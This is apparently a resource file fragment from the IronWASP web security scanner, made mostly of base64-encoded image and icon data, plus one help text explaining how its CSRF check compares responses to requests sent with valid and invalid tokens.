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 + OdxHCn/88V9UW8merxi8qwAAAABJRU5ErkJggg== + + + + IronWASP sends each selected Request with an invalid token and then compares its response against the response reciveved for valid token. The percentage of difference between these twos responses is displayed in this section. +If the percentage of difference is really low then it means the responses for both valid and invalid token were very similar, this hints towards a possibility that the application might not be properly validating the token in this particular case. +To confirm this you can click on this entry, this will show the request/response with valid token and invalid token along with the diff of the requests and responses. Analyzing this manually can help the tester determine if that particular request is vulnerable to CSRF. + + + + AAABAAYAEBAAAAEAIABoBAAAZgAAACAgAAABACAAqBAAAM4EAAAwMAAAAQAgAKglAAB2FQAAQEAAAAEA + IAAoQgAAHjsAAICAAAABACAAKAgBAEZ9AAAAAAAAAQAgALQeAABuhQEAKAAAABAAAAAgAAAAAQAgAAAA + AAAABAAAIy4AACMuAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08C0ZdPAgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPWNGX + T1gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPFdGX + T8jRl0/H0ZdPFQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + T43Rl0/U0ZdP1NGXT40AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TxvRl0/20ZdP1NGXT9TRl0/20ZdPGwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AADRl0+K0ZdP/9GXT9TRl0/U0ZdP/9GXT4oAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AABLS0smj3FNlNGXT//Rl0/U0ZdP1NGXT/+OcU2VS0tLJgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLo0xLS8XRl0/Q0ZdP1NGXT9TRl0/QTEtLx0tLS6IAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLJ0tLS/xLS0v/mHZNj9GXT7TRl0+0lnVNk0tLS/9LS0v8S0tLJwAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAEtLS6RLS0v/S0tL/4yFW4vdzW6x3c1usYqDWpBLS0v/S0tL/0tLS6QAAAAAAAAAAAAA + AAAAAAAAAAAAAEtLSyhLS0v8S0tL/0tLS87czG7E3c1u/93Nbv/czG7GS0tL0UtLS/9LS0v8S0tLKAAA + AAAAAAAAAAAAAAAAAABLS0ulS0tL/0tLS/+NhVuT3c1u/93Nbv/dzW7/3c1u/42GW5lLS0v/S0tL/0tL + S6UAAAAAAAAAAAAAAABLS0spS0tL/EtLS/9LS0vR3Mxuwd3Nbv/dzW7/3c1u/93Nbv/czG7GS0tL0ktL + S/9LS0v8S0tLKQAAAAAAAAAAS0tLpktLS/9LS0v/iYJakt3Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/42F + W5lLS0v/S0tL/0tLS6YAAAAAS0tLKktLS/VLS0ulS0tLQdfHbBLdzW5c3c1up93Nbu/dzW7v3c1uqN3N + bl3XyG0US0tLQUtLS6VLS0v1S0tLKktLSy5LS0sSAAAAAAAAAAAAAAAAAAAAAAAAAADdzW4E3c1uBAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLEktLSy7+fwAA/n8AAPw/AAD8PwAA+B8AAPgfAADwDwAA8A8AAOAH + AADgBwAAwAMAAMADAACAAQAAgAEAAAAAAAA+fAAAKAAAACAAAABAAAAAAQAgAAAAAAAAEAAAIy4AACMu + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPB9GXTwcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwDRl09t0ZdPbdGXTwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPSNGXT6rRl0+q0ZdPSAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwHRl0/M0ZdPqtGXT6rRl0/M0ZdPAQAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPU9GXT//Rl0+q0ZdPqtGX + T//Rl09SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwPRl0/V0ZdP/9GX + T6rRl0+q0ZdP/9GXT9TRl08DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPXdGX + T//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT1wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TwXRl0/c0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP3NGXTwUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA0ZdPZ9GXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl0//0ZdPZwAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTwjRl0/j0ZdP/9GXT//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT//Rl0/j0ZdPCAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPPdGXT//Rl0//0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP/9GX + T//Rl089AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNNTEtR0ZdP0tGXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GX + T//Rl0//0ZdP0U1MS1JLS0sSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhUtLS9PPlk9b0ZdP/9GXT//Rl0//0ZdPqtGX + T6rRl0//0ZdP/9GXT//Olk9bS0tL1UtLS4QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNLS0vyS0tL/1FOS1HRl0/c0ZdP/9GX + T//Rl0+q0ZdPqtGXT//Rl0//0ZdP21BOS1VLS0v/S0tL8ktLSxMAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhktLS/9LS0v/S0tLxdGX + T2bRl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl09mS0tLyktLS/9LS0v/S0tLhgAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxRLS0vyS0tL/0tL + S/9LS0v/WVNLRtGXT+XRl0//0ZdPqtGXT6rRl0//0ZdP5FdSS0xLS0v/S0tL/0tLS/9LS0vyS0tLFAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLh0tL + S/9LS0v/S0tL/0tLS/9LS0u30ZdPXNGXT7HRl0920ZdPdtGXT7HRl09cS0tLv0tLS/9LS0v/S0tL/0tL + S/9LS0uHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtL + SxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9jczG4u3c1uZN3NbmTdzW5k3c1uZNbHbC9LS0vfS0tL/0tL + S/9LS0v/S0tL/0tLS/NLS0sUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLiUtLS/9LS0v/S0tL/0tLS/9LS0v/TExLXt3NbsrdzW7/3c1u/93Nbv/dzW7/3c1uy0xM + S2ZLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAEtLSxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9vWx2xN3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/08RsUUtLS+BLS0v/S0tL/0tLS/9LS0v/S0tL80tLSxUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLiktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLYd3NbsfdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7KTExLZ0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLiQAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxZLS0v0S0tL/0tLS/9LS0v/S0tL/0tLS93UxWxK3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/Sw2tRS0tL4EtLS/9LS0v/S0tL/0tLS/9LS0v0S0tLFgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLi0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLY93N + bsPdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbspMTEtoS0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0uLAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v0S0tL/0tLS/9LS0v/S0tL/0tL + S9/SxGtH3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/9LDa1FLS0vhS0tL/0tL + S/9LS0v/S0tL/0tLS/RLS0sWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLjEtLS/9LS0v/S0tL/0tL + S/9LS0v/S0tLZt3Nbr/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1uyUxM + S2lLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4wAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v1S0tL/0tL + S/9LS0v/S0tL/0tLS+HQwmtE3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/0cJrUUtLS+JLS0v/S0tL/0tLS/9LS0v/S0tL9UtLSxcAAAAAAAAAAAAAAAAAAAAAS0tLjktL + S/9LS0v/S0tL/0tLS/9LS0v/S0tLaN3NbrvdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7JTEtLaktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLjQAAAAAAAAAAAAAAAEtL + SxhLS0v1S0tL/0tLS/9LS0v8S0tLtEtLS09RUEwD3c1uRt3NbpLdzW7d3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7g3c1ult3NbkuEfVkFS0tLT0tLS7RLS0v8S0tL/0tLS/9LS0v1S0tLGAAA + AAAAAAAAS0tLj0tLS/9LS0vgS0tLfUtLSxwAAAAAAAAAAAAAAAAAAAAAAAAAAN3NbgDdzW4q3c1udt3N + bsHdzW773c1u+93NbsLdzW533c1uLN3NbgAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxxLS0t+S0tL4EtL + S/9LS0uOAAAAAEtLSxRLS0ujS0tLR0tLSwIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAN3NbhLdzW4SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AABLS0sCS0tLSEtLS6NLS0sTAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////5////+f////D////gf///4H///8A////AP///g + B///4Af//8AD///AA///gAH//4AB//8AAP//AAD//gAAf/4AAH/8AAA//AAAP/gAAB/4AAAf8AAAD/AA + AA/gAAAH4AAAB8AAAAPAAAADgAAAAYPwD8EP/n/w/////ygAAAAwAAAAYAAAAAEAIAAAAAAAACQAACMu + AAAjLgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTxDRl08QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPE9GXT3DRl09w0ZdPEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPidGXT3/Rl09/0ZdPiAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08Z0ZdP9dGXT3/Rl09/0ZdP9dGX + TxgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl0+T0ZdP/9GX + T3/Rl09/0ZdP/9GXT5IAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + Tx/Rl0/40ZdP/9GXT3/Rl09/0ZdP/9GXT/jRl08fAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXT53Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0+cAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPJtGXT/vRl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0/70ZdPJgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPp9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GX + 